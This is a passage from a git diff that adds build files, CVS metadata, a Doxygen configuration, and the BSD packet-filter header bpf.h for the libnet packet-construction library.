definitions from file. Syntax is similar to doxygen's +# config file, i.e. a series of assigments. You only have to provide +# replacements, missing definitions are set to their default value. + +RTF_STYLESHEET_FILE = + +# Set optional variables used in the generation of an rtf document. +# Syntax is similar to doxygen's config file. + +RTF_EXTENSIONS_FILE = + +#--------------------------------------------------------------------------- +# configuration options related to the man page output +#--------------------------------------------------------------------------- + +# If the GENERATE_MAN tag is set to YES (the default) Doxygen will +# generate man pages + +GENERATE_MAN = YES + +# The MAN_OUTPUT tag is used to specify where the man pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `man' will be used as the default path. + +MAN_OUTPUT = man + +# The MAN_EXTENSION tag determines the extension that is added to +# the generated man pages (default is the subroutine's section .3) + +MAN_EXTENSION = .3 + +# If the MAN_LINKS tag is set to YES and Doxygen generates man output, +# then it will generate one additional man file for each entity +# documented in the real man page(s). These additional files +# only source the real man page, but without them the man command +# would be unable to find the correct page. The default is NO. + +MAN_LINKS = NO + +#--------------------------------------------------------------------------- +# configuration options related to the XML output +#--------------------------------------------------------------------------- + +# If the GENERATE_XML tag is set to YES Doxygen will +# generate an XML file that captures the structure of +# the code including all documentation. Note that this +# feature is still experimental and incomplete at the +# moment. + +GENERATE_XML = NO + +# The XML_OUTPUT tag is used to specify where the XML pages will be put. +# If a relative path is entered the value of OUTPUT_DIRECTORY will be +# put in front of it. If left blank `xml' will be used as the default path. + +XML_OUTPUT = xml + +# The XML_SCHEMA tag can be used to specify an XML schema, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_SCHEMA = + +# The XML_DTD tag can be used to specify an XML DTD, +# which can be used by a validating XML parser to check the +# syntax of the XML files. + +XML_DTD = + +#--------------------------------------------------------------------------- +# configuration options for the AutoGen Definitions output +#--------------------------------------------------------------------------- + +# If the GENERATE_AUTOGEN_DEF tag is set to YES Doxygen will +# generate an AutoGen Definitions (see autogen.sf.net) file +# that captures the structure of the code including all +# documentation. Note that this feature is still experimental +# and incomplete at the moment. + +GENERATE_AUTOGEN_DEF = NO + +#--------------------------------------------------------------------------- +# configuration options related to the Perl module output +#--------------------------------------------------------------------------- + +# If the GENERATE_PERLMOD tag is set to YES Doxygen will +# generate a Perl module file that captures the structure of +# the code including all documentation. Note that this +# feature is still experimental and incomplete at the +# moment. + +GENERATE_PERLMOD = NO + +# If the PERLMOD_LATEX tag is set to YES Doxygen will generate +# the necessary Makefile rules, Perl scripts and LaTeX code to be able +# to generate PDF and DVI output from the Perl module output. + +PERLMOD_LATEX = NO + +# If the PERLMOD_PRETTY tag is set to YES the Perl module output will be +# nicely formatted so it can be parsed by a human reader. This is useful +# if you want to understand what is going on. On the other hand, if this +# tag is set to NO the size of the Perl module output will be much smaller +# and Perl will parse it just the same. + +PERLMOD_PRETTY = YES + +# The names of the make variables in the generated doxyrules.make file +# are prefixed with the string contained in PERLMOD_MAKEVAR_PREFIX. +# This is useful so different doxyrules.make files included by the same +# Makefile don't overwrite each other's variables. + +PERLMOD_MAKEVAR_PREFIX = + +#--------------------------------------------------------------------------- +# Configuration options related to the preprocessor +#--------------------------------------------------------------------------- + +# If the ENABLE_PREPROCESSING tag is set to YES (the default) Doxygen will +# evaluate all C-preprocessor directives found in the sources and include +# files. + +ENABLE_PREPROCESSING = YES + +# If the MACRO_EXPANSION tag is set to YES Doxygen will expand all macro +# names in the source code. If set to NO (the default) only conditional +# compilation will be performed. Macro expansion can be done in a controlled +# way by setting EXPAND_ONLY_PREDEF to YES. + +MACRO_EXPANSION = NO + +# If the EXPAND_ONLY_PREDEF and MACRO_EXPANSION tags are both set to YES +# then the macro expansion is limited to the macros specified with the +# PREDEFINED and EXPAND_AS_PREDEFINED tags. + +EXPAND_ONLY_PREDEF = NO + +# If the SEARCH_INCLUDES tag is set to YES (the default) the includes files +# in the INCLUDE_PATH (see below) will be search if a #include is found. + +SEARCH_INCLUDES = YES + +# The INCLUDE_PATH tag can be used to specify one or more directories that +# contain include files that are not input files but should be processed by +# the preprocessor. + +INCLUDE_PATH = + +# You can use the INCLUDE_FILE_PATTERNS tag to specify one or more wildcard +# patterns (like *.h and *.hpp) to filter out the header-files in the +# directories. If left blank, the patterns specified with FILE_PATTERNS will +# be used. + +INCLUDE_FILE_PATTERNS = + +# The PREDEFINED tag can be used to specify one or more macro names that +# are defined before the preprocessor is started (similar to the -D option of +# gcc). The argument of the tag is a list of macros of the form: name +# or name=definition (no spaces). If the definition and the = are +# omitted =1 is assumed. + +PREDEFINED = + +# If the MACRO_EXPANSION and EXPAND_ONLY_PREDEF tags are set to YES then +# this tag can be used to specify a list of macro names that should be expanded. +# The macro definition that is found in the sources will be used. +# Use the PREDEFINED tag if you want to use a different macro definition. + +EXPAND_AS_DEFINED = + +# If the SKIP_FUNCTION_MACROS tag is set to YES (the default) then +# doxygen's preprocessor will remove all function-like macros that are alone +# on a line, have an all uppercase name, and do not end with a semicolon. Such +# function macros are typically used for boiler-plate code, and will confuse the +# parser if not removed. + +SKIP_FUNCTION_MACROS = YES + +#--------------------------------------------------------------------------- +# Configuration::addtions related to external references +#--------------------------------------------------------------------------- + +# The TAGFILES option can be used to specify one or more tagfiles. +# Optionally an initial location of the external documentation +# can be added for each tagfile. The format of a tag file without +# this location is as follows: +# TAGFILES = file1 file2 ... +# Adding location for the tag files is done as follows: +# TAGFILES = file1=loc1 "file2 = loc2" ... +# where "loc1" and "loc2" can be relative or absolute paths or +# URLs. If a location is present for each tag, the installdox tool +# does not have to be run to correct the links. +# Note that each tag file must have a unique name +# (where the name does NOT include the path) +# If a tag file is not located in the directory in which doxygen +# is run, you must also specify the path to the tagfile here. + +TAGFILES = + +# When a file name is specified after GENERATE_TAGFILE, doxygen will create +# a tag file that is based on the input files it reads. + +GENERATE_TAGFILE = + +# If the ALLEXTERNALS tag is set to YES all external classes will be listed +# in the class index. If set to NO only the inherited external classes +# will be listed. + +ALLEXTERNALS = NO + +# If the EXTERNAL_GROUPS tag is set to YES all external groups will be listed +# in the modules index. If set to NO, only the current project's groups will +# be listed. + +EXTERNAL_GROUPS = YES + +# The PERL_PATH should be the absolute path and name of the perl script +# interpreter (i.e. the result of `which perl'). + +PERL_PATH = /usr/bin/perl + +#--------------------------------------------------------------------------- +# Configuration options related to the dot tool +#--------------------------------------------------------------------------- + +# If the CLASS_DIAGRAMS tag is set to YES (the default) Doxygen will +# generate a inheritance diagram (in HTML, RTF and LaTeX) for classes with base or +# super classes. Setting the tag to NO turns the diagrams off. Note that this +# option is superceded by the HAVE_DOT option below. This is only a fallback. It is +# recommended to install and use dot, since it yields more powerful graphs. + +CLASS_DIAGRAMS = YES + +# If set to YES, the inheritance and collaboration graphs will hide +# inheritance and usage relations if the target is undocumented +# or is not a class. + +HIDE_UNDOC_RELATIONS = YES + +# If you set the HAVE_DOT tag to YES then doxygen will assume the dot tool is +# available from the path. This tool is part of Graphviz, a graph visualization +# toolkit from AT&T and Lucent Bell Labs. The other options in this section +# have no effect if this option is set to NO (the default) + +HAVE_DOT = YES + +# If the CLASS_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect inheritance relations. Setting this tag to YES will force the +# the CLASS_DIAGRAMS tag to NO. + +CLASS_GRAPH = YES + +# If the COLLABORATION_GRAPH and HAVE_DOT tags are set to YES then doxygen +# will generate a graph for each documented class showing the direct and +# indirect implementation dependencies (inheritance, containment, and +# class references variables) of the class with other documented classes. + +COLLABORATION_GRAPH = YES + +# If the UML_LOOK tag is set to YES doxygen will generate inheritance and +# colloborations diagrams in a style similiar to the OMG's Unified Modeling +# Language. + +UML_LOOK = NO + +# If set to YES, the inheritance and collaboration graphs will show the +# relations between templates and their instances. + +TEMPLATE_RELATIONS = NO + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDE_GRAPH, and HAVE_DOT +# tags are set to YES then doxygen will generate a graph for each documented +# file showing the direct and indirect include dependencies of the file with +# other documented files. + +INCLUDE_GRAPH = YES + +# If the ENABLE_PREPROCESSING, SEARCH_INCLUDES, INCLUDED_BY_GRAPH, and +# HAVE_DOT tags are set to YES then doxygen will generate a graph for each +# documented header file showing the documented files that directly or +# indirectly include this file. + +INCLUDED_BY_GRAPH = YES + +# If the CALL_GRAPH and HAVE_DOT tags are set to YES then doxygen will +# generate a call dependency graph for every global function or class method. +# Note that enabling this option will significantly increase the time of a run. +# So in most cases it will be better to enable call graphs for selected +# functions only using the \callgraph command. + +CALL_GRAPH = NO + +# If the GRAPHICAL_HIERARCHY and HAVE_DOT tags are set to YES then doxygen +# will graphical hierarchy of all classes instead of a textual one. + +GRAPHICAL_HIERARCHY = YES + +# The DOT_IMAGE_FORMAT tag can be used to set the image format of the images +# generated by dot. Possible values are png, jpg, or gif +# If left blank png will be used. + +DOT_IMAGE_FORMAT = png + +# The tag DOT_PATH can be used to specify the path where the dot tool can be +# found. If left blank, it is assumed the dot tool can be found on the path. + +DOT_PATH = + +# The DOTFILE_DIRS tag can be used to specify one or more directories that +# contain dot files that are included in the documentation (see the +# \dotfile command). + +DOTFILE_DIRS = + +# The MAX_DOT_GRAPH_WIDTH tag can be used to set the maximum allowed width +# (in pixels) of the graphs generated by dot. If a graph becomes larger than +# this value, doxygen will try to truncate the graph, so that it fits within +# the specified constraint. Beware that most browsers cannot cope with very +# large images. + +MAX_DOT_GRAPH_WIDTH = 1024 + +# The MAX_DOT_GRAPH_HEIGHT tag can be used to set the maximum allows height +# (in pixels) of the graphs generated by dot. If a graph becomes larger than +# this value, doxygen will try to truncate the graph, so that it fits within +# the specified constraint. Beware that most browsers cannot cope with very +# large images. + +MAX_DOT_GRAPH_HEIGHT = 1024 + +# The MAX_DOT_GRAPH_DEPTH tag can be used to set the maximum depth of the +# graphs generated by dot. A depth value of 3 means that only nodes reachable +# from the root by following a path via at most 3 edges will be shown. Nodes that +# lay further from the root node will be omitted. Note that setting this option to +# 1 or 2 may greatly reduce the computation time needed for large code bases. Also +# note that a graph may be further truncated if the graph's image dimensions are +# not sufficient to fit the graph (see MAX_DOT_GRAPH_WIDTH and MAX_DOT_GRAPH_HEIGHT). +# If 0 is used for the depth value (the default), the graph is not depth-constrained. + +MAX_DOT_GRAPH_DEPTH = 0 + +# If the GENERATE_LEGEND tag is set to YES (the default) Doxygen will +# generate a legend page explaining the meaning of the various boxes and +# arrows in the dot generated graphs. + +GENERATE_LEGEND = YES + +# If the DOT_CLEANUP tag is set to YES (the default) Doxygen will +# remove the intermediate dot files that are used to generate +# the various graphs. + +DOT_CLEANUP = YES + +#--------------------------------------------------------------------------- +# Configuration::addtions related to the search engine +#--------------------------------------------------------------------------- + +# The SEARCHENGINE tag specifies whether or not a search engine should be +# used. If set to NO the values of all tags below this one will be ignored. + +SEARCHENGINE = NO + +# The CGI_NAME tag should be the name of the CGI script that +# starts the search engine (doxysearch) with the correct parameters. +# A script with this name will be generated by doxygen. + +CGI_NAME = search.cgi + +# The CGI_URL tag should be the absolute URL to the directory where the +# cgi binaries are located. See the documentation of your http daemon for +# details. + +CGI_URL = + +# The DOC_URL tag should be the absolute URL to the directory where the +# documentation is located. If left blank the absolute path to the +# documentation, with file:// prepended to it, will be used. + +DOC_URL = + +# The DOC_ABSPATH tag should be the absolute path to the directory where the +# documentation is located. If left blank the directory on the local machine +# will be used. + +DOC_ABSPATH = + +# The BIN_ABSPATH tag must point to the directory where the doxysearch binary +# is installed. + +BIN_ABSPATH = /usr/local/bin/ + +# The EXT_DOC_PATHS tag can be used to specify one or more paths to +# documentation generated for other projects. This allows doxysearch to search +# the documentation for these projects as well. + +EXT_DOC_PATHS = diff --git a/libnet/doc/man/CVS/Entries b/libnet/doc/man/CVS/Entries new file mode 100644 index 0000000..1784810 --- /dev/null +++ b/libnet/doc/man/CVS/Entries @@ -0,0 +1 @@ +D diff --git a/libnet/doc/man/CVS/Repository b/libnet/doc/man/CVS/Repository new file mode 100644 index 0000000..2c47d63 --- /dev/null +++ b/libnet/doc/man/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/doc/man diff --git a/libnet/doc/man/CVS/Root b/libnet/doc/man/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/doc/man/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/include/CVS/Entries b/libnet/include/CVS/Entries new file mode 100644 index 0000000..ac9937d --- /dev/null +++ b/libnet/include/CVS/Entries @@ -0,0 +1,10 @@ +/Makefile.am/1.1.1.1/Thu Jun 26 21:55:10 2003// +/bpf.h/1.1.1.1/Thu Jun 26 21:55:10 2003// +/gnuc.h/1.1.1.1/Thu Jun 26 21:55:10 2003// +/ifaddrlist.h/1.2/Tue Sep 23 22:36:54 2003// +/stamp-h.in/1.1.1.1/Thu Jun 26 21:55:10 2003// +D/libnet//// +D/win32//// +/config.h.in/1.11/Fri Jan 16 10:13:40 2004// +/libnet.h.in/1.5/Sat Jan 17 07:51:19 2004// +/Makefile.in/1.14/Tue Nov 9 07:05:07 2004// diff --git a/libnet/include/CVS/Repository b/libnet/include/CVS/Repository new file mode 100644 index 0000000..4ec92b7 --- /dev/null +++ b/libnet/include/CVS/Repository @@ -0,0 +1 @@ +/usr/local/CVS/libnet/include diff --git a/libnet/include/CVS/Root b/libnet/include/CVS/Root new file mode 100644 index 0000000..52fa133 --- /dev/null +++ b/libnet/include/CVS/Root @@ -0,0 +1 @@ +mike@66.234.207.232:/usr/local/CVS diff --git a/libnet/include/Makefile.am b/libnet/include/Makefile.am new file mode 100644 index 0000000..5cea26e --- /dev/null +++ b/libnet/include/Makefile.am @@ -0,0 +1,7 @@ +# $Id: Makefile.am,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ + +include $(top_srcdir)/Makefile.am.common + +include_HEADERS = libnet.h + +SUBDIRS = libnet diff --git a/libnet/include/Makefile.in b/libnet/include/Makefile.in new file mode 100644 index 0000000..ad046b7 --- /dev/null +++ b/libnet/include/Makefile.in @@ -0,0 +1,539 @@ +# Makefile.in generated by automake 1.9.1 from Makefile.am. +# @configure_input@ + +# Copyright (C) 1994, 1995, 1996, 1997, 1998, 1999, 2000, 2001, 2002, +# 2003, 2004 Free Software Foundation, Inc. +# This Makefile.in is free software; the Free Software Foundation +# gives unlimited permission to copy and/or distribute it, +# with or without modifications, as long as this notice is preserved. + +# This program is distributed in the hope that it will be useful, +# but WITHOUT ANY WARRANTY, to the extent permitted by law; without +# even the implied warranty of MERCHANTABILITY or FITNESS FOR A +# PARTICULAR PURPOSE. + +@SET_MAKE@ + +# $Id: Makefile.am,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ + +# $Id: Makefile.am.common,v 1.3 2004/01/03 20:31:00 mike Exp $ +# +# Libnet automake information file +# Copyright (c) 1998 - 2004 Mike D. Schiffman <mike@infonexus.com> +# All rights reserved. +# + +srcdir = @srcdir@ +top_srcdir = @top_srcdir@ +VPATH = @srcdir@ +pkgdatadir = $(datadir)/@PACKAGE@ +pkglibdir = $(libdir)/@PACKAGE@ +pkgincludedir = $(includedir)/@PACKAGE@ +top_builddir = .. +am__cd = CDPATH="$${ZSH_VERSION+.}$(PATH_SEPARATOR)" && cd +INSTALL = @INSTALL@ +install_sh_DATA = $(install_sh) -c -m 644 +install_sh_PROGRAM = $(install_sh) -c +install_sh_SCRIPT = $(install_sh) -c +INSTALL_HEADER = $(INSTALL_DATA) +transform = $(program_transform_name) +NORMAL_INSTALL = : +PRE_INSTALL = : +POST_INSTALL = : +NORMAL_UNINSTALL = : +PRE_UNINSTALL = : +POST_UNINSTALL = : +build_triplet = @build@ +host_triplet = @host@ +target_triplet = @target@ +DIST_COMMON = $(include_HEADERS) $(srcdir)/Makefile.am \ + $(srcdir)/Makefile.in $(srcdir)/config.h.in \ + $(srcdir)/libnet.h.in $(top_srcdir)/Makefile.am.common +subdir = include +ACLOCAL_M4 = $(top_srcdir)/aclocal.m4 +am__aclocal_m4_deps = $(top_srcdir)/acinclude.m4 \ + $(top_srcdir)/configure.in +am__configure_deps = $(am__aclocal_m4_deps) $(CONFIGURE_DEPENDENCIES) \ + $(ACLOCAL_M4) +mkinstalldirs = $(SHELL) $(top_srcdir)/mkinstalldirs +CONFIG_HEADER = config.h +CONFIG_CLEAN_FILES = libnet.h +depcomp = +am__depfiles_maybe = +SOURCES = +DIST_SOURCES = +RECURSIVE_TARGETS = all-recursive check-recursive dvi-recursive \ + html-recursive info-recursive install-data-recursive \ + install-exec-recursive install-info-recursive \ + install-recursive installcheck-recursive installdirs-recursive \ + pdf-recursive ps-recursive uninstall-info-recursive \ + uninstall-recursive +am__vpath_adj_setup = srcdirstrip=`echo "$(srcdir)" | sed 's|.|.|g'`; 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All rights reserved. + * + * This code is derived from the Stanford/CMU enet packet filter, + * (net/enet.c) distributed as part of 4.3BSD, and code contributed + * to Berkeley by Steven McCanne and Van Jacobson both of Lawrence + * Berkeley Laboratory. + * + * Redistribution and use in source and binary forms, with or without + * modification, are permitted provided that the following conditions + * are met: + * 1. Redistributions of source code must retain the above copyright + * notice, this list of conditions and the following disclaimer. + * 2. Redistributions in binary form must reproduce the above copyright + * notice, this list of conditions and the following disclaimer in the + * documentation and/or other materials provided with the distribution. + * 3. All advertising materials mentioning features or use of this software + * must display the following acknowledgement: + * This product includes software developed by the University of + * California, Berkeley and its contributors. + * 4. Neither the name of the University nor the names of its contributors + * may be used to endorse or promote products derived from this software + * without specific prior written permission. + * + * THIS SOFTWARE IS PROVIDED BY THE REGENTS AND CONTRIBUTORS ``AS IS'' AND + * ANY EXPRESS OR IMPLIED WARRANTIES, INCLUDING, BUT NOT LIMITED TO, THE + * IMPLIED WARRANTIES OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE + * ARE DISCLAIMED. IN NO EVENT SHALL THE REGENTS OR CONTRIBUTORS BE LIABLE + * FOR ANY DIRECT, INDIRECT, INCIDENTAL, SPECIAL, EXEMPLARY, OR CONSEQUENTIAL + * DAMAGES (INCLUDING, BUT NOT LIMITED TO, PROCUREMENT OF SUBSTITUTE GOODS + * OR SERVICES; LOSS OF USE, DATA, OR PROFITS; OR BUSINESS INTERRUPTION) + * HOWEVER CAUSED AND ON ANY THEORY OF LIABILITY, WHETHER IN CONTRACT, STRICT + * LIABILITY, OR TORT (INCLUDING NEGLIGENCE OR OTHERWISE) ARISING IN ANY WAY + * OUT OF THE USE OF THIS SOFTWARE, EVEN IF ADVISED OF THE POSSIBILITY OF + * SUCH DAMAGE. + * + * @(#)bpf.h 7.1 (Berkeley) 5/7/91 + * + * @(#) $Header: /usr/local/CVS/libnet/include/bpf.h,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ (LBL) + */ + +#ifndef BPF_MAJOR_VERSION + +/* BSD style release date */ +#define BPF_RELEASE 199606 + +typedef int bpf_int32; +typedef u_int bpf_u_int32; + +/* + * Alignment macros. BPF_WORDALIGN rounds up to the next + * even multiple of BPF_ALIGNMENT. + */ +#define BPF_ALIGNMENT sizeof(bpf_int32) +#define BPF_WORDALIGN(x) (((x)+(BPF_ALIGNMENT-1))&~(BPF_ALIGNMENT-1)) + +#define BPF_MAXINSNS 512 +#define BPF_MAXBUFSIZE 0x8000 +#define BPF_MINBUFSIZE 32 + +/* + * Structure for BIOCSETF. + */ +struct bpf_program { + u_int bf_len; + struct bpf_insn *bf_insns; +}; + +/* + * Struct returned by BIOCGSTATS. + */ +struct bpf_stat { + u_int bs_recv; /* number of packets received */ + u_int bs_drop; /* number of packets dropped */ +}; + +/* + * Struct return by BIOCVERSION. This represents the version number of + * the filter language described by the instruction encodings below. + * bpf understands a program iff kernel_major == filter_major && + * kernel_minor >= filter_minor, that is, if the value returned by the + * running kernel has the same major number and a minor number equal + * equal to or less than the filter being downloaded. Otherwise, the + * results are undefined, meaning an error may be returned or packets + * may be accepted haphazardly. + * It has nothing to do with the source code version. + */ +struct bpf_version { + u_short bv_major; + u_short bv_minor; +}; +/* Current version number of filter architecture. */ +#define BPF_MAJOR_VERSION 1 +#define BPF_MINOR_VERSION 1 + +/* + * BPF ioctls + * + * The first set is for compatibility with Sun's pcc style + * header files. If your using gcc, we assume that you + * have run fixincludes so the latter set should work. + */ +#if (defined(sun) || defined(ibm032)) && !defined(__GNUC__) +#define BIOCGBLEN _IOR(B,102, u_int) +#define BIOCSBLEN _IOWR(B,102, u_int) +#define BIOCSETF _IOW(B,103, struct bpf_program) +#define BIOCFLUSH _IO(B,104) +#define BIOCPROMISC _IO(B,105) +#define BIOCGDLT _IOR(B,106, u_int) +#define BIOCGETIF _IOR(B,107, struct ifreq) +#define BIOCSETIF _IOW(B,108, struct ifreq) +#define BIOCSRTIMEOUT _IOW(B,109, struct timeval) +#define BIOCGRTIMEOUT _IOR(B,110, struct timeval) +#define BIOCGSTATS _IOR(B,111, struct bpf_stat) +#define BIOCIMMEDIATE _IOW(B,112, u_int) +#define BIOCVERSION _IOR(B,113, struct bpf_version) +#define BIOCSTCPF _IOW(B,114, struct bpf_program) +#define BIOCSUDPF _IOW(B,115, struct bpf_program) +#else +#define BIOCGBLEN _IOR('B',102, u_int) +#define BIOCSBLEN _IOWR('B',102, u_int) +#define BIOCSETF _IOW('B',103, struct bpf_program) +#define BIOCFLUSH _IO('B',104) +#define BIOCPROMISC _IO('B',105) +#define BIOCGDLT _IOR('B',106, u_int) +#define BIOCGETIF _IOR('B',107, struct ifreq) +#define BIOCSETIF _IOW('B',108, struct ifreq) +#define BIOCSRTIMEOUT _IOW('B',109, struct timeval) +#define BIOCGRTIMEOUT _IOR('B',110, struct timeval) +#define BIOCGSTATS _IOR('B',111, struct bpf_stat) +#define BIOCIMMEDIATE _IOW('B',112, u_int) +#define BIOCVERSION _IOR('B',113, struct bpf_version) +#define BIOCSTCPF _IOW('B',114, struct bpf_program) +#define BIOCSUDPF _IOW('B',115, struct bpf_program) +#endif + +/* + * Structure prepended to each packet. + */ +struct bpf_hdr { + struct timeval bh_tstamp; /* time stamp */ + bpf_u_int32 bh_caplen; /* length of captured portion */ + bpf_u_int32 bh_datalen; /* original length of packet */ + u_short bh_hdrlen; /* length of bpf header (this struct + plus alignment padding) */ +}; +/* + * Because the structure above is not a multiple of 4 bytes, some compilers + * will insist on inserting padding; hence, sizeof(struct bpf_hdr) won't work. + * Only the kernel needs to know about it; applications use bh_hdrlen. + */ +#ifdef KERNEL +#define SIZEOF_BPF_HDR 18 +#endif + +/* + * Data-link level type codes. + */ +#define DLT_NULL 0 /* no link-layer encapsulation */ +#define DLT_EN10MB 1 /* Ethernet (10Mb) */ +#define DLT_EN3MB 2 /* Experimental Ethernet (3Mb) */ +#define DLT_AX25 3 /* Amateur Radio AX.25 */ +#define DLT_PRONET 4 /* Proteon ProNET Token Ring */ +#define DLT_CHAOS 5 /* Chaos */ +#define DLT_IEEE802 6 /* IEEE 802 Networks */ +#define DLT_ARCNET 7 /* ARCNET */ +#define DLT_SLIP 8 /* Serial Line IP */ +#define DLT_PPP 9 /* Point-to-point Protocol */ +#define DLT_FDDI 10 /* FDDI */ +#define DLT_ATM_RFC1483 11 /* LLC/SNAP encapsulated atm */ +#define DLT_RAW 12 /* raw IP */ +#define DLT_SLIP_BSDOS 13 /* BSD/OS Serial Line IP */ +#define DLT_PPP_BSDOS 14 /* BSD/OS Point-to-point Protocol */ + +/* + * The instruction encondings. + */ +/* instruction classes */ +#define BPF_CLASS(code) ((code) & 0x07) +#define BPF_LD 0x00 +#define BPF_LDX 0x01 +#define BPF_ST 0x02 +#define BPF_STX 0x03 +#define BPF_ALU 0x04 +#define BPF_JMP 0x05 +#define BPF_RET 0x06 +#define BPF_MISC 0x07 + +/* ld/ldx fields */ +#define BPF_SIZE(code) ((code) & 0x18) +#define BPF_W 0x00 +#define BPF_H 0x08 +#define BPF_B 0x10 +#define BPF_MODE(code) ((code) & 0xe0) +#define BPF_IMM 0x00 +#define BPF_ABS 0x20 +#define BPF_IND 0x40 +#define BPF_MEM 0x60 +#define BPF_LEN 0x80 +#define BPF_MSH 0xa0 + +/* alu/jmp fields */ +#define BPF_OP(code) ((code) & 0xf0) +#define BPF_ADD 0x00 +#define BPF_SUB 0x10 +#define BPF_MUL 0x20 +#define BPF_DIV 0x30 +#define BPF_OR 0x40 +#define BPF_AND 0x50 +#define BPF_LSH 0x60 +#define BPF_RSH 0x70 +#define BPF_NEG 0x80 +#define BPF_JA 0x00 +#define BPF_JEQ 0x10 +#define BPF_JGT 0x20 +#define BPF_JGE 0x30 +#define BPF_JSET 0x40 +#define BPF_SRC(code) ((code) & 0x08) +#define BPF_K 0x00 +#define BPF_X 0x08 + +/* ret - BPF_K and BPF_X also apply */ +#define BPF_RVAL(code) ((code) & 0x18) +#define BPF_A 0x10 + +/* misc */ +#define BPF_MISCOP(code) ((code) & 0xf8) +#define BPF_TAX 0x00 +#define BPF_TXA 0x80 + +/* + * The instruction data structure. + */ +struct bpf_insn { + u_short code; + u_char jt; + u_char jf; + bpf_int32 k; +}; + +/* + * Macros for insn array initializers. + */ +#define BPF_STMT(code, k) { (u_short)(code), 0, 0, k } +#define BPF_JUMP(code, k, jt, jf) { (u_short)(code), jt, jf, k } + +#ifdef KERNEL +extern u_int bpf_filter(); +extern void bpfattach(); +extern void bpf_tap(); +extern void bpf_mtap(); +#else +#if __STDC__ +extern u_int bpf_filter(struct bpf_insn *, u_char *, u_int, u_int); +#endif +#endif + +/* + * Number of scratch memory words (for BPF_LD|BPF_MEM and BPF_ST). + */ +#define BPF_MEMWORDS 16 + +#endif diff --git a/libnet/include/config.h.in b/libnet/include/config.h.in new file mode 100644 index 0000000..95539ff --- /dev/null +++ b/libnet/include/config.h.in @@ -0,0 +1,139 @@ +/* include/config.h.in. Generated from configure.in by autoheader. */ + +/* Define if /dev/dlpi is a directory. */ +#undef DLPI_DEV_PREFIX + +/* Define if /dev/dlpi is available. */ +#undef HAVE_DEV_DLPI + +/* Define to 1 if you have the <dlfcn.h> header file. */ +#undef HAVE_DLFCN_H + +/* Define if the <sys/dlpi.h> header exists. */ +#undef HAVE_DLPI + +/* Define if we're building on HP/UX. */ +#undef HAVE_HPUX11 + +/* Define to 1 if you have the <inttypes.h> header file. */ +#undef HAVE_INTTYPES_H + +/* Define to 1 if you have the `nsl' library (-lnsl). */ +#undef HAVE_LIBNSL + +/* Define to 1 if you have the `packet' library (-lpacket). */ +#undef HAVE_LIBPACKET + +/* Define to 1 if you have the `resolv' library (-lresolv). */ +#undef HAVE_LIBRESOLV + +/* Define to 1 if you have the `socket' library (-lsocket). */ +#undef HAVE_LIBSOCKET + +/* Define to 1 if you have the `wpcap' library (-lwpcap). */ +#undef HAVE_LIBWPCAP + +/* Define if you have the Linux /proc filesystem. */ +#undef HAVE_LINUX_PROCFS + +/* Define to 1 if you have the <memory.h> header file. */ +#undef HAVE_MEMORY_H + +/* Define to 1 if you have the <net/ethernet.h> header file. */ +#undef HAVE_NET_ETHERNET_H + +/* Define if we're running on a Linux system with PF_PACKET sockets. */ +#undef HAVE_PACKET_SOCKET + +/* Define if the sockaddr structure includes a sa_len member. */ +#undef HAVE_SOCKADDR_SA_LEN + +/* Define if we are running on Solaris. */ +#undef HAVE_SOLARIS + +/* Define if our version of Solaris supports IPv6. */ +#undef HAVE_SOLARIS_IPV6 + +/* Define to 1 if you have the <stdint.h> header file. */ +#undef HAVE_STDINT_H + +/* Define to 1 if you have the <stdlib.h> header file. */ +#undef HAVE_STDLIB_H + +/* Define to 1 if you have the <strings.h> header file. */ +#undef HAVE_STRINGS_H + +/* Define to 1 if you have the <string.h> header file. */ +#undef HAVE_STRING_H + +/* Define to 1 if you have the <sys/bufmod.h> header file. */ +#undef HAVE_SYS_BUFMOD_H + +/* Define to 1 if you have the <sys/dlpi_ext.h> header file. */ +#undef HAVE_SYS_DLPI_EXT_H + +/* Define to 1 if you have the <sys/sockio.h> header file. */ +#undef HAVE_SYS_SOCKIO_H + +/* Define to 1 if you have the <sys/stat.h> header file. */ +#undef HAVE_SYS_STAT_H + +/* Define to 1 if you have the <sys/types.h> header file. */ +#undef HAVE_SYS_TYPES_H + +/* Define to 1 if you have the <unistd.h> header file. */ +#undef HAVE_UNISTD_H + +/* Define if unaligned memory accesses fail. */ +#undef LBL_ALIGN + +/* We are running on a big-endian machine. */ +#undef LIBNET_BIG_ENDIAN + +/* Define if our build OS supports the BSD APIs */ +#undef LIBNET_BSDISH_OS + +/* Define if libnet should byteswap data. */ +#undef LIBNET_BSD_BYTE_SWAP + +/* We are running on a little-endian machine. */ +#undef LIBNET_LIL_ENDIAN + +/* Define if snprintf() is unavailable on our system. */ +#undef NO_SNPRINTF + +/* Name of package */ +#undef PACKAGE + +/* Define to the address where bug reports for this package should be sent. */ +#undef PACKAGE_BUGREPORT + +/* Define to the full name of this package. */ +#undef PACKAGE_NAME + +/* Define to the full name and version of this package. */ +#undef PACKAGE_STRING + +/* Define to the one symbol short name of this package. */ +#undef PACKAGE_TARNAME + +/* Define to the version of this package. */ +#undef PACKAGE_VERSION + +/* Define to 1 if you have the ANSI C header files. */ +#undef STDC_HEADERS + +/* Define if our version of Solaris has broken checksums. */ +#undef STUPID_SOLARIS_CHECKSUM_BUG + +/* Version number of package */ +#undef VERSION + +/* Define as necessary to "unhide" header symbols. */ +#undef _BSD_SOURCE + +/* Define as necessary to "unhide" header symbols. */ +#undef __BSD_SOURCE + +/* Define if we should favor the BSD APIs when possible in Linux. */ +#undef __FAVOR_BSD diff --git a/libnet/include/gnuc.h b/libnet/include/gnuc.h new file mode 100644 index 0000000..c051c74 --- /dev/null +++ b/libnet/include/gnuc.h @@ -0,0 +1,43 @@ +/* @(#) $Header: /usr/local/CVS/libnet/include/gnuc.h,v 1.1.1.1 2003/06/26 21:55:10 route Exp $ 